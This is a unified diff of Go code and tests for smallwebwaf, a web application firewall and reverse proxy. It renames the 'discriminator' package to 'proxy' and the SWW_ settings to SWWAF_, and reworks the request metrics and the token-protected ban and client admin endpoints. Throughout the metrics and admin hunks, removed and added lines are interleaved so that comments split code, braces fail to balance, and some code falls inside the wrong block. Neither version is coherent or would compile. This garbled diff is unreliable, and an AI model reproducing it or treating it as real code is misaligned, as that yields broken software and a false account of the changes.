-func (m *Metrics) RequestEnded(line *requestlog.Line, duration time.Duration) {
+// duration is how long the request took, and upstreamDuration how long it
-	m.inFlight.Dec()
+// took from when it was passed to the app, zero if it was not.
-	m.count(line, duration, 0)
+func (m *Metrics) RequestEnded(
-}
+	line *requestlog.Line, limit string, duration, upstreamDuration time.Duration,
 // RequestAllowed counts a question of rproxy's, answered allow, as no longer
 // under way. RequestReported counts the request it was about.
 func (m *Metrics) RequestAllowed() {
 	m.inFlight.Dec()
 }
 // RequestReported counts a request rproxy passed to the app, from what its
 // report says, which line holds: duration is how long the request took, and
 // upstreamDuration how long it took from when it was passed to the app.
 func (m *Metrics) RequestReported(
 	line *requestlog.Line, duration, upstreamDuration time.Duration,
 ) {
-	m.count(line, duration, upstreamDuration)
+	m.inFlight.Dec()
 	class := statusClass(line.Status)
 	m.requests.WithLabelValues(class, line.Action).Inc()
 	m.requestBytes.WithLabelValues(class, line.Action).Add(float64(line.RequestBytes))
 	m.responseBytes.WithLabelValues(class, line.Action).Add(float64(line.ResponseBytes))
 	m.requestDuration.Observe(duration.Seconds())
 	if upstreamDuration > 0 {
 		m.upstreamDuration.Observe(upstreamDuration.Seconds())
 	}
-// LimitHit counts a request that broke a rate limit, a byte limit or the
+	if line.LimitHit != "" {
-// error burst, by the window and the kind of hit.
+		// The log line names a byte limit's window with _bytes after it.
-func (m *Metrics) LimitHit(hit ratelimit.Hit) {
+		window, isBytes := strings.CutSuffix(line.LimitHit, "_bytes")
-	m.rateLimitHits.WithLabelValues(hit.Window, hit.Kind).Inc()
+
 		kind := ratelimit.KindRequests
 		if isBytes {
 			kind = ratelimit.KindBytes
 		}
-// Offences counts the offences of r, a request that has ended, as its
+		m.rateLimitHits.WithLabelValues(window, kind).Inc()
 // client's history counts them, by kind, named as clients.json names
 // them.
 func (m *Metrics) Offences(r ratelimit.Request) {
 	for kind, committed := range map[string]bool{
 		"limit":        r.BrokeLimit,
 		"attack":       r.Attack,
 		"rule_blocked": r.RuleBlocked,
 		"waf_blocked":  r.WAFBlocked,
 	} {
 		if committed {
 			m.offences.WithLabelValues(kind).Inc()
 	}
 	if limit != "" {
 		m.sizeAndTimeLimitHits.WithLabelValues(limit).Inc()
 	}
 	if line.Offence != "" {
 		m.offences.WithLabelValues(line.Offence).Inc()
 	}
 	if line.Country != "" {
 		m.countries.add(line.Country, line)
 	}
 	if line.ASN != "" {
 		m.asns.add(line.ASN, line)
 	}
 }
@@ -441,12 +361,6 @@ func (m *Metrics) RuleMatched(id, action string) {
 	m.ruleMatches.WithLabelValues(id, action).Inc()
 }
 // WAFMatched counts a request that matched the Core Rule Set's rule id,
 // with SWW_WAF_MODE at mode.
 func (m *Metrics) WAFMatched(mode string, id int) {
 	m.wafMatches.WithLabelValues(mode, strconv.Itoa(id)).Inc()
 }
 // StateFileWritten counts a write of the state file name, of size bytes,
 // that ended with err.
 func (m *Metrics) StateFileWritten(name string, size int, err error) {
@@ -467,7 +381,7 @@ func (m *Metrics) StateFileWritten(name string, size int, err error) {
 }
 // StateFileEditTakenIn counts an admin's edit of the state file name
-// taken in while sww runs.
+// taken in while smallwebwaf runs.
 func (m *Metrics) StateFileEditTakenIn(name string) {
 	m.stateFileEditsTakenIn.WithLabelValues(name).Inc()
 }
@@ -478,56 +392,6 @@ func (m *Metrics) StateFileEditSetAside(name string) {
 	m.stateFileEditsSetAside.WithLabelValues(name).Inc()
 }
 // count counts a request that has ended, as RequestEnded and RequestReported
 // describe.
 func (m *Metrics) count(
 	line *requestlog.Line, duration, upstreamDuration time.Duration,
 ) {
 	class := statusClass(line.Status)
 	m.requests.WithLabelValues(class, line.Action).Inc()
 	m.requestBytes.WithLabelValues(class, line.Action).Add(float64(line.RequestBytes))
 	m.responseBytes.WithLabelValues(class, line.Action).Add(float64(line.ResponseBytes))
 	m.requestDuration.Observe(duration.Seconds())
 	if upstreamDuration > 0 {
 		m.upstreamDuration.Observe(upstreamDuration.Seconds())
 	}
 	if line.Country != "" {
 		m.countries.add(line.Country, line)
 	}
 	if line.ASN != "" {
 		m.asns.add(line.ASN, line)
 	}
 }
 // addReputationQueries adds the counter of the queries to source, a DNSBL
 // zone, or of the checks of clients with AbuseIPDB, which count tells.
 func (m *Metrics) addReputationQueries(source prometheus.Labels, count func() int) {
 	m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
 		Name:        "sww_reputation_queries_total",
 		Help:        "Queries to the DNSBL zone, or checks of clients with AbuseIPDB.",
 		ConstLabels: source,
 	}, func() float64 {
 		return float64(count())
 	}))
 }
 // addReputationFailures adds the counter of the fetches of source, a
 // list, the queries to it, a DNSBL zone, or the checks with it, AbuseIPDB,
 // that failed, which count tells.
 func (m *Metrics) addReputationFailures(source prometheus.Labels, count func() int) {
 	m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
 		Name: "sww_reputation_failures_total",
 		Help: "Fetches of the list, queries to the DNSBL zone, or checks with " +
 			"AbuseIPDB, that failed.",
 		ConstLabels: source,
 	}, func() float64 {
 		return float64(count())
 	}))
 }
 // statusClass returns the class of status, such as 2xx, or none when no
 // status was sent.
 func statusClass(status int) string {
@@ -1,4 +1,4 @@
-package discriminator
+package proxy
 import (
 	"bytes"
@@ -9,6 +9,7 @@ import (
 	"io"
 	"net/http"
 	"net/netip"
 	"os"
 	"strings"
 	"time"
@@ -40,22 +41,15 @@ var (
 	errNotAddress = errors.New("is not an address, such as 203.0.113.9")
 )
-// answerHealth answers a request for the health endpoint.
+// answerAdmin answers a request for smallwebwaf itself, under
-func (rq *request) answerHealth() {
+// /_smallwebwaf/, once it has passed the checks. Each endpoint needs a
-	rq.line.Action = requestlog.ActionAdmin
+// token, sent as Authorization: Bearer <token>: the metrics
-	// Set here rather than left to Go's server, which would set it only
+// SWWAF_METRICS_TOKEN, the others SWWAF_ADMIN_TOKEN. A request without
-	// after the log line has taken the response's headers.
+// it is refused with 401. An endpoint whose token is unset answers 404,
-	rq.out.Header().Set("Content-Type", "text/plain; charset=utf-8")
+// as any other request under /_smallwebwaf/ does.
 	_, _ = io.WriteString(rq.out, "ok\n")
 }
 // answerAdmin answers a request for one of discriminator's own endpoints. Each
 // needs a token, sent as Authorization: Bearer <token>: the metrics
 // SWW_METRICS_TOKEN, the others SWW_ADMIN_TOKEN. A request without it is
 // refused with 401. An endpoint whose token is unset answers 404, as any other
 // path does.
 func (rq *request) answerAdmin() {
 	rq.line.Action = requestlog.ActionAdmin
 	rq.startClientResponseTimeout()
 	token, answer := rq.endpoint()
@@ -64,7 +58,10 @@ func (rq *request) answerAdmin() {
 		http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound)
 	case !hasToken(rq.in, token):
 		rq.out.Header().Set("WWW-Authenticate", "Bearer")
-		http.Error(rq.out, http.StatusText(http.StatusUnauthorized), http.StatusUnauthorized)
+		rq.answer(refusal{
 			status: http.StatusUnauthorized,
 			action: requestlog.ActionAdmin,
 		})
 	default:
 		answer()
 	}
@@ -121,7 +118,26 @@ type banToAdd struct {
 // an admin, from now for the duration the body gives, with its reason,
 // and answers with that ban.
 func (rq *request) addBan() {
 	// The body must arrive within SWWAF_CLIENT_REQUEST_TIMEOUT, as any
 	// other request's must.
 	rq.stopReadingBody(rq.clientRequestDeadline())
 	toAdd, err := rq.readBanToAdd()
 	if refused := rq.refused.Load(); refused != nil {
 		rq.answer(*refused) // the body is over SWWAF_REQUEST_MAX_BYTES
 		return
 	}
 	if errors.Is(err, os.ErrDeadlineExceeded) {
 		rq.answer(refusal{
 			status: http.StatusRequestTimeout,
 			action: requestlog.ActionTimedOut,
 			limit:  "SWWAF_CLIENT_REQUEST_TIMEOUT",
 		})
 		return
 	}
 	var (
 		netblock netip.Prefix
@@ -150,9 +166,12 @@ func (rq *request) addBan() {
 // readBanToAdd reads the body of POST BansPath: a JSON object with
 // nothing but whitespace after it, in at most banBodyMaxBytes.
 func (rq *request) readBanToAdd() (banToAdd, error) {
-	data, err := io.ReadAll(http.MaxBytesReader(nil, rq.in.Body, banBodyMaxBytes))
+	var body io.ReadCloser = http.NoBody
-	rq.requestBytes = int64(len(data))
+	if rq.body != nil {
 		body = rq.body
 	}
 	data, err := io.ReadAll(http.MaxBytesReader(nil, body, banBodyMaxBytes))
 	if err != nil {
 		return banToAdd{}, fmt.Errorf("%w: %w", errNotBanToAdd, err)
 	}
@@ -250,9 +269,9 @@ type clientAnswer struct {
 	Bans   []state.BanEntry  `json:"bans"`
 }
-// showClient answers GET ClientsPath<ip> with what discriminator knows of the client:
+// showClient answers GET ClientsPath<ip> with what smallwebwaf knows of
-// its counters, its history, which holds its country as last looked up and its
+// the client: its counters, its history, which holds its country as last
-// offences, and its bans with their notes.
+// looked up and its offences, and its bans with their notes.
 func (rq *request) showClient() {
 	addr, err := pathAddress(rq.in.URL.Path, ClientsPath)
 	if err != nil {
@@ -263,7 +282,7 @@ func (rq *request) showClient() {
 	answer := clientAnswer{Bans: state.BanEntries(rq.h.ledger.Covering(addr))}
-	client, seen := rq.h.limiter.Client(rq.h.clientGroup(addr))
+	client, seen := rq.h.limiter.Client(clientGroup(addr))
 	if seen {
 		answer.Client = &client
 	}
@@ -1,27 +1,30 @@
-package discriminator_test
+package proxy_test
 import (
 	"encoding/json"
 	"net/http"
 	"net/netip"
-	"reflect"
+	"slices"
 	"strconv"
 	"strings"
 	"testing"
 	"time"
 	"sneak.berlin/go/smallwebwaf/internal/bans"
-	"sneak.berlin/go/smallwebwaf/internal/discriminator"
+	"sneak.berlin/go/smallwebwaf/internal/proxy"
 	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 	"sneak.berlin/go/smallwebwaf/internal/state"
 )
 const (
-	adminToken = "SWW_ADMIN_TOKEN" //nolint:gosec // the setting's name
+	adminToken = "SWWAF_ADMIN_TOKEN" //nolint:gosec // the setting's name
-	// adminSecret is the SWW_ADMIN_TOKEN the tests set, and adminBearer
+	// adminSecret is the SWWAF_ADMIN_TOKEN the tests set, and adminBearer
 	// how a request carries it.
 	adminSecret = "fedcba9876543210fedcba9876543210"
 	adminBearer = "Bearer " + adminSecret
 	// adminClient is the client the tests' admin sends its requests from.
 	adminClient = "192.0.2.10"
 	// banOtherClient is the body of a request to ban otherClient for an
 	// hour.
 	banOtherClient = `{"netblock": "` + otherClient + `", "duration": "1h", ` +
@@ -40,11 +43,12 @@ func TestAdminEndpointsAreOffWhileTheTokenIsUnset(t *testing.T) {
 	// An empty token does not match the unset one either.
 	for _, authorization := range []string{adminBearer, bearer, "Bearer ", ""} {
 		for _, e := range adminEndpoints() {
-			s.adminRequest(authorization, e.method, e.path, e.body, http.StatusNotFound)
+			s.adminRequest(adminClient, authorization, e.method, e.path, e.body,
 				http.StatusNotFound, requestlog.ActionAdmin)
 		}
 	}
-	if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
+	if after := server.Ledger.Snapshot(); !slices.Equal(after, before) {
 		t.Errorf("the bans are now\n%+v\nwant them unchanged\n%+v", after, before)
 	}
 }
@@ -67,15 +71,15 @@ func TestAdminEndpointsNeedTheAdminToken(t *testing.T) {
 		for _, authorization := range []string{
 			"", bearer, "Bearer " + strings.ToUpper(adminSecret), "Basic " + adminSecret,
 		} {
-			got := s.adminRequest(authorization, e.method, e.path, e.body,
+			got := s.adminRequest(adminClient, authorization, e.method, e.path, e.body,
-				http.StatusUnauthorized)
+				http.StatusUnauthorized, requestlog.ActionAdmin)
 			if got.header.Get("WWW-Authenticate") != "Bearer" {
 				t.Errorf("%s %s with %q was answered without WWW-Authenticate: Bearer",
 					e.method, e.path, authorization)
 			}
 		}
-		if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
+		if after := server.Ledger.Snapshot(); !slices.Equal(after, before) {
 			t.Errorf("%s %s without the token changed the bans to\n%+v\nfrom\n%+v",
 				e.method, e.path, after, before)
 		}
@@ -86,13 +90,13 @@ func TestAdminEndpointsNeedTheAdminToken(t *testing.T) {
 		}
 	}
-	// Any other request under /_sww/ is not found.
+	// Any other request under /_smallwebwaf/ is not found.
 	for _, e := range []adminEndpoint{
-		{http.MethodPut, discriminator.BansPath, banOtherClient},
+		{http.MethodPut, proxy.BansPath, banOtherClient},
-		{http.MethodDelete, discriminator.BansPath, ""},
+		{http.MethodDelete, proxy.BansPath, ""},
-		{http.MethodGet, discriminator.BansPath + "/" + otherClient, ""},
+		{http.MethodGet, proxy.BansPath + "/" + otherClient, ""},
-		{http.MethodPost, discriminator.ClientsPath + otherClient, ""},
+		{http.MethodPost, proxy.ClientsPath + otherClient, ""},
-		{http.MethodGet, strings.TrimSuffix(discriminator.ClientsPath, "/"), ""},
+		{http.MethodGet, strings.TrimSuffix(proxy.ClientsPath, "/"), ""},
 	} {
 		s.admin(e.method, e.path, e.body, http.StatusNotFound)
 	}
@@ -118,8 +122,8 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
 		Reason:   "probes for logins",
 	}
-	wantBans(t, s.admin(http.MethodPost, discriminator.BansPath, banOtherClient,
+	wantBans(t, s.admin(http.MethodPost, proxy.BansPath, banOtherClient, http.StatusOK),
-		http.StatusOK), want)
+		want)
 	line := s.get(client, http.StatusForbidden, requestlog.ActionBanned)
 	if line.BanExpires != requestlog.FormatTime(expires) {
@@ -129,7 +133,7 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
 	// Its notes count the request it refused.
 	want.Notes.Requests, want.Notes.Refused = 1, 1
-	wantBans(t, s.admin(http.MethodGet, discriminator.BansPath, "", http.StatusOK), want)
+	wantBans(t, s.admin(http.MethodGet, proxy.BansPath, "", http.StatusOK), want)
 	// Ten minutes on, lifting the bans on client lifts that one, which is
 	// kept, marked lifted.
@@ -138,13 +142,13 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
 	lifted := clk.Now()
 	want.Lifted = &lifted
-	wantBans(t, s.admin(http.MethodDelete, discriminator.BansPath+"/"+client, "",
+	wantBans(t, s.admin(http.MethodDelete, proxy.BansPath+"/"+client, "",
 		http.StatusOK), want)
 	s.get(client, http.StatusOK, requestlog.ActionForward)
-	wantBans(t, s.admin(http.MethodGet, discriminator.BansPath, "", http.StatusOK), want)
+	wantBans(t, s.admin(http.MethodGet, proxy.BansPath, "", http.StatusOK), want)
 	// No ban on it is active any more.
-	s.admin(http.MethodDelete, discriminator.BansPath+"/"+client, "", http.StatusNotFound)
+	s.admin(http.MethodDelete, proxy.BansPath+"/"+client, "", http.StatusNotFound)
 }
 func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
@@ -181,8 +185,7 @@ func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
 			want.Expires = &expires
 		}
-		wantBans(t, s.admin(http.MethodPost, discriminator.BansPath, body, http.StatusOK),
+		wantBans(t, s.admin(http.MethodPost, proxy.BansPath, body, http.StatusOK), want)
 			want)
 	}
 }
@@ -251,8 +254,7 @@ func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) {
 			"request body too large",
 		},
 	} {
-		got := s.admin(http.MethodPost, discriminator.BansPath, tc.body,
+		got := s.admin(http.MethodPost, proxy.BansPath, tc.body, http.StatusBadRequest)
 			http.StatusBadRequest)
 		if !strings.Contains(string(got.body), tc.want) {
 			t.Errorf("%.80s was answered %q, want it to say %q", tc.body, got.body, tc.want)
 		}
@@ -263,12 +265,64 @@ func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) {
 	}
 }
 func TestBanToAddOverTheRequestSizeLimitIsRefused(t *testing.T) {
 	t.Parallel()
 	s, _, server := startWithClock(t, "", map[string]string{
 		adminToken:      adminSecret,
 		requestMaxBytes: "16",
 	})
 	// Sent in a chunk, its length is not announced, so that it is found
 	// over SWWAF_REQUEST_MAX_BYTES only as it is read.
 	chunk := `{"netblock": "203.0.113.9", "duration": "1h"}`
 	s.adminRequest(adminClient, adminBearer+"\r\nTransfer-Encoding: chunked",
 		http.MethodPost, proxy.BansPath,
 		strconv.FormatInt(int64(len(chunk)), 16)+"\r\n"+chunk+"\r\n0\r\n\r\n",
 		http.StatusRequestEntityTooLarge, requestlog.ActionTooLarge)
 	if held := server.Ledger.Snapshot(); len(held) != 0 {
 		t.Errorf("the ledger holds %+v, want no ban", held)
 	}
 }
 func TestBanToAddSlowerThanTheClientRequestTimeoutIsRefused(t *testing.T) {
 	t.Parallel()
 	s, _, server := startWithClock(t, "", map[string]string{
 		adminToken:           adminSecret,
 		metricsToken:         token,
 		clientRequestTimeout: shortTimeoutSetting,
 	})
 	// The chunk announces 256 bytes and the rest of it never comes, so only
 	// the timeout ends the wait. A hold-up of the test process can only
 	// make the answer later, so the time is checked only for not being
 	// shorter than the timeout.
 	start := time.Now()
 	s.adminRequest(adminClient, adminBearer+"\r\nTransfer-Encoding: chunked",
 		http.MethodPost, proxy.BansPath, "100\r\n"+`{"netblock": "203.0.113.9", `,
 		http.StatusRequestTimeout, requestlog.ActionTimedOut)
 	if took := time.Since(start); took < shortTimeout {
 		t.Errorf("answered after %s, before the timeout of %s ran out", took, shortTimeout)
 	}
 	wantLimitHits(t, s.addr, clientRequestTimeout, 1)
 	if held := server.Ledger.Snapshot(); len(held) != 0 {
 		t.Errorf("the ledger holds %+v, want no ban", held)
 	}
 }
 func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
 	t.Parallel()
 	s, clk, _ := startWithClock(t, "", map[string]string{
 		adminToken:          adminSecret,
 		rateLimitPerMinute:  "2",
 		rateLimitExemptNets: adminClient,
 	})
 	start := clk.Now()
@@ -285,8 +339,7 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
 			Bans   []state.BanEntry  `json:"bans"`
 		}
-		decode(t, s.admin(http.MethodGet, discriminator.ClientsPath+addr, "",
+		decode(t, s.admin(http.MethodGet, proxy.ClientsPath+addr, "", http.StatusOK), &got)
 			http.StatusOK), &got)
 		if got.Client == nil {
 			t.Fatalf("%s: no client", addr)
@@ -308,18 +361,71 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
 	// Of an address no request came from and no ban covers, nothing is
 	// known.
-	got := s.admin(http.MethodGet, discriminator.ClientsPath+"198.51.100.99", "",
+	got := s.admin(http.MethodGet, proxy.ClientsPath+"198.51.100.99", "", http.StatusOK)
 		http.StatusOK)
 	if string(got.body) != "{\n    \"client\": null,\n    \"bans\": []\n}\n" {
 		t.Errorf("an unknown client is answered\n%s", got.body)
 	}
-	s.admin(http.MethodGet, discriminator.ClientsPath+"203.0.113", "",
+	s.admin(http.MethodGet, proxy.ClientsPath+"203.0.113", "", http.StatusBadRequest)
-		http.StatusBadRequest)
+	s.admin(http.MethodDelete, proxy.BansPath+"/203.0.113.0/24", "",
 	s.admin(http.MethodDelete, discriminator.BansPath+"/203.0.113.0/24", "",
 		http.StatusBadRequest)
 }
 func TestBannedClientIsRefusedAtTheEndpointsEvenWithTheToken(t *testing.T) {
 	t.Parallel()
 	s, _, _ := startWithClock(t, "", map[string]string{adminToken: adminSecret})
 	s.admin(http.MethodPost, proxy.BansPath, banOtherClient, http.StatusOK)
 	// otherClient cannot lift its own ban either.
 	for _, e := range adminEndpoints() {
 		s.adminRequest(otherClient, adminBearer, e.method, e.path, e.body,
 			http.StatusForbidden, requestlog.ActionBanned)
 	}
 }
 func TestAdminRequestsCountTowardTheLimits(t *testing.T) {
 	t.Parallel()
 	s, _, _ := startWithClock(t, "", map[string]string{
 		adminToken:         adminSecret,
 		rateLimitPerMinute: "2",
 	})
 	// A request refused for a missing token and one answered count toward
 	// the limit of two a minute, so the next breaks it.
 	s.adminRequest(client, "", http.MethodGet, proxy.BansPath, "",
 		http.StatusUnauthorized, requestlog.ActionAdmin)
 	s.adminRequest(client, adminBearer, http.MethodGet, proxy.BansPath, "",
 		http.StatusOK, requestlog.ActionAdmin)
 	s.adminRequest(client, adminBearer, http.MethodGet, proxy.BansPath, "",
 		http.StatusForbidden, requestlog.ActionRateLimited)
 }
 func TestClientInAllowNetsSkipsTheChecksButNeedsTheToken(t *testing.T) {
 	t.Parallel()
 	const allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS
 	s, clk, server := startWithClock(t, "", map[string]string{
 		adminToken:         adminSecret,
 		allowNets:          allowed,
 		rateLimitPerMinute: "1",
 	})
 	// A ban on it refuses nothing, and its requests are not counted.
 	server.Ledger.BanForAdmin(netip.MustParsePrefix(allowed+"/32"), clk.Now(),
 		time.Time{}, "")
 	for range 2 {
 		s.adminRequest(allowed, "", http.MethodGet, proxy.BansPath, "",
 			http.StatusUnauthorized, requestlog.ActionAdmin)
 		s.adminRequest(allowed, adminBearer, http.MethodGet, proxy.BansPath, "",
 			http.StatusOK, requestlog.ActionAdmin)
 	}
 }
 func TestAdminEndpointsNeedTheTokenInObserveMode(t *testing.T) {
 	t.Parallel()
@@ -329,7 +435,8 @@ func TestAdminEndpointsNeedTheTokenInObserveMode(t *testing.T) {
 	})
 	for _, e := range adminEndpoints() {
-		s.adminRequest("", e.method, e.path, e.body, http.StatusUnauthorized)
+		s.adminRequest(adminClient, "", e.method, e.path, e.body,
 			http.StatusUnauthorized, requestlog.ActionAdmin)
 	}
 	if held := server.Ledger.Snapshot(); len(held) != 0 {
@@ -337,50 +444,56 @@ func TestAdminEndpointsNeedTheTokenInObserveMode(t *testing.T) {
 	}
 }
-// adminEndpoint is a request to an endpoint SWW_ADMIN_TOKEN opens.
+// adminEndpoint is a request to an endpoint SWWAF_ADMIN_TOKEN opens.
 type adminEndpoint struct {
 	method, path, body string
 }
-// adminEndpoints returns a request to each endpoint SWW_ADMIN_TOKEN
+// adminEndpoints returns a request to each endpoint SWWAF_ADMIN_TOKEN
 // opens: listing the bans, banning otherClient for an hour, lifting the
 // bans on otherClient, and asking about otherClient.
 func adminEndpoints() []adminEndpoint {
 	return []adminEndpoint{
-		{http.MethodGet, discriminator.BansPath, ""},
+		{http.MethodGet, proxy.BansPath, ""},
-		{http.MethodPost, discriminator.BansPath, banOtherClient},
+		{http.MethodPost, proxy.BansPath, banOtherClient},
-		{http.MethodDelete, discriminator.BansPath + "/" + otherClient, ""},
+		{http.MethodDelete, proxy.BansPath + "/" + otherClient, ""},
-		{http.MethodGet, discriminator.ClientsPath + otherClient, ""},
+		{http.MethodGet, proxy.ClientsPath + otherClient, ""},
 	}
 }
-// admin sends a request with method for path, with body, to discriminator's own
+// admin sends a request with method for path, with body, from
-// address, with the admin token, and checks that it is answered with status, its
+// adminClient, with the admin token, and checks that it is answered with
-// log line's action admin. It returns the answer.
+// status, its log line's action admin. It returns the answer.
 func (s *sender) admin(method, path, body string, status int) answer {
 	s.t.Helper()
-	return s.adminRequest(adminBearer, method, path, body, status)
+	return s.adminRequest(adminClient, adminBearer, method, path, body, status,
 		requestlog.ActionAdmin)
 }
-// adminRequest is admin with authorization as the request's Authorization header
+// adminRequest sends a request with method for path, with body, from the
-// unless it is "".
+// client at from, with authorization as its Authorization header unless
 // it is "", and checks its answer's status and its log line's action, as
 // request does. authorization may end in more header lines. A body that
 // is not "" has its length announced, unless authorization names
 // Transfer-Encoding. It returns the answer.
 func (s *sender) adminRequest(
-	authorization, method, path, body string, status int,
+	from, authorization, method, path, body string, status int, action string,
 ) answer {
 	s.t.Helper()
-	req := newRequest(s.t, method, s.discriminatorAddr, path, strings.NewReader(body))
+	var header []string
 	if authorization != "" {
-		req.Header.Set("Authorization", authorization)
+		header = append(header, "Authorization: "+authorization)
 	}
-	got := do(s.t, req)
+	if body != "" && !strings.Contains(authorization, "Transfer-Encoding") {
-	wantStatus(s.t, got, status)
+		header = append(header, "Content-Length: "+strconv.Itoa(len(body)))
 	}
-	line := s.out.endedLines(s.t, s.sent+1)[s.sent]
+	_, got := s.requestWithBody(method, from, path, strings.Join(header, "\r\n"),
-	s.sent++
+		body, status, action)
 	wantLine(s.t, line, status, requestlog.ActionAdmin)
 	return got
 }
@@ -1,4 +1,4 @@
-package discriminator_test
+package proxy_test
 import (
 	"maps"
@@ -10,15 +10,15 @@ import (
 	"sneak.berlin/go/smallwebwaf/internal/alerts"
 	"sneak.berlin/go/smallwebwaf/internal/bans"
-	"sneak.berlin/go/smallwebwaf/internal/discriminator"
+	"sneak.berlin/go/smallwebwaf/internal/proxy"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 )
 const (
-	alertWebhookURL = "SWW_ALERT_WEBHOOK_URL"
+	alertWebhookURL = "SWWAF_ALERT_WEBHOOK_URL"
-	alertMaxPerHour = "SWW_ALERT_MAX_PER_HOUR"
+	alertMaxPerHour = "SWWAF_ALERT_MAX_PER_HOUR"
 	// alertInstance is the instance every alert of these tests gives.
-	alertInstance = "fsn1app1/blog"
+	alertInstance = "fsn1app1/gitea"
 )
 func TestBanForABrokenLimitRaisesABanAlertWithItsNotes(t *testing.T) {
@@ -118,8 +118,7 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
 	line := s.get(ipv6Client, http.StatusOK, requestlog.ActionForward)
 	// No ban is made, and none made permanent.
-	held := server.Ledger.Snapshot()
+	if held := server.Ledger.Snapshot(); len(held) != 1 || held[0] != attackBan ||
 	if len(held) != 1 || !reflect.DeepEqual(held[0], attackBan) ||
 		line.BanExpires != requestlog.FormatTime(attackBan.Expires) {
 		t.Errorf("the ledger holds %+v, and the log line gives %s, want the ban "+
 			"for the attack alone, as it was", held, line.BanExpires)
@@ -201,7 +200,7 @@ func TestObserveModeWorksOutABanOnlyWhenItsAlertWouldBeSent(t *testing.T) {
 // never sent them, and returns the queue they wait in as well.
 func startWithAlerts(
 	t *testing.T, env map[string]string,
-) (*sender, *clock, *discriminator.Server, *alerts.Queue) {
+) (*sender, *clock, *proxy.Server, *alerts.Queue) {
 	t.Helper()
 	return startAppWithAlerts(t, func(http.ResponseWriter, *http.Request) {}, env)
@@ -210,23 +209,21 @@ func startWithAlerts(
 // startAppWithAlerts is startWithAlerts in front of the app handler.
 func startAppWithAlerts(
 	t *testing.T, handler http.HandlerFunc, env map[string]string,
-) (*sender, *clock, *discriminator.Server, *alerts.Queue) {
+) (*sender, *clock, *proxy.Server, *alerts.Queue) {
 	t.Helper()
 	app := startApp(t, handler)
 	clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)}
 	settings := map[string]string{
 		trustedProxies:  trustLocalhost,
-		alertWebhookURL: "https://alerts.example/sww",
+		alertWebhookURL: "https://alerts.example/smallwebwaf",
 		instanceName:    alertInstance,
 	}
 	maps.Copy(settings, env)
 	addr, out, server, queue := startProxyWithAlerts(t, app.URL, "", clk.Now, settings)
-	s := &sender{t: t, addr: addr, discriminatorAddr: server.Addr, out: out}
+	return &sender{t: t, addr: addr, out: out}, clk, server, queue
 	return s, clk, server, queue
 }
 // banAlert returns the alert for event, raised by a request from client at
@@ -239,7 +236,6 @@ func banAlert(
 		Instance: alertInstance,
 		Time:     raised,
 		Event:    event,
 		Host:     appHost,
 		Client:   netip.MustParseAddr(client),
 		Netblock: ban.Netblock,
 		Reason:   ban.Reason,
@@ -1,4 +1,4 @@
-package discriminator
+package proxy
 import (
 	"net/netip"
@@ -15,11 +15,9 @@ func TestWithEveryAnomalyThresholdOffARequestIsNotCounted(t *testing.T) {
 	// anomaly counters, nor a clock, and the request no response: reading
 	// any of them to count the request panics.
 	rq := &request{
-		decision: decision{
+		h:        &handler{config: &config.Config{LookupSource: "geojs"}},
 		client:   netip.MustParseAddr("203.0.113.9"),
 		lookedUp: true,
 		},
 		h: &handler{config: &config.Config{LookupSource: "geojs"}},
 	}
 	defer func() {
@@ -1,4 +1,4 @@
-package discriminator_test
+package proxy_test
 import (
 	"maps"
@@ -13,7 +13,7 @@ import (
 	"sneak.berlin/go/smallwebwaf/internal/alerts"
 	"sneak.berlin/go/smallwebwaf/internal/anomaly"
-	"sneak.berlin/go/smallwebwaf/internal/discriminator"
+	"sneak.berlin/go/smallwebwaf/internal/proxy"
 	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 )
@@ -21,11 +21,11 @@ import (
 // The anomaly thresholds: the prefix of a scope followed by the end of a
 // count.
 const (
-	anomalyClient = "SWW_ANOMALY_CLIENT_"
+	anomalyClient = "SWWAF_ANOMALY_CLIENT_"
-	anomalyNet    = "SWW_ANOMALY_NET_"
+	anomalyNet    = "SWWAF_ANOMALY_NET_"
-	anomalyASN    = "SWW_ANOMALY_ASN_"
+	anomalyASN    = "SWWAF_ANOMALY_ASN_"
-	anomalyTotal  = "SWW_ANOMALY_TOTAL_"
+	anomalyTotal  = "SWWAF_ANOMALY_TOTAL_"
-	anomalyWatch  = "SWW_WATCH_"
+	anomalyWatch  = "SWWAF_WATCH_"
 	requestsPerMinute = "REQUESTS_PER_MINUTE"
 	requestsPerHour   = "REQUESTS_PER_HOUR"
@@ -35,9 +35,9 @@ const (
 // The other anomaly settings.
 const (
-	anomalyNetV4Prefix = "SWW_ANOMALY_NET_V4_PREFIX"
+	anomalyNetV4Prefix = "SWWAF_ANOMALY_NET_V4_PREFIX"
-	anomalyNetV6Prefix = "SWW_ANOMALY_NET_V6_PREFIX"
+	anomalyNetV6Prefix = "SWWAF_ANOMALY_NET_V6_PREFIX"
-	watchNets          = "SWW_WATCH_NETS"
+	watchNets          = "SWWAF_WATCH_NETS"
 )
 const (
@@ -117,7 +117,6 @@ func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(t *testing.T) {
 					Instance: alertInstance,
 					Time:     start,
 					Event:    alerts.EventAnomaly,
 					Host:     appHost,
 					Client:   netip.MustParseAddr(client),
 					Netblock: scope.netblock,
 					ASN:      asnDE,
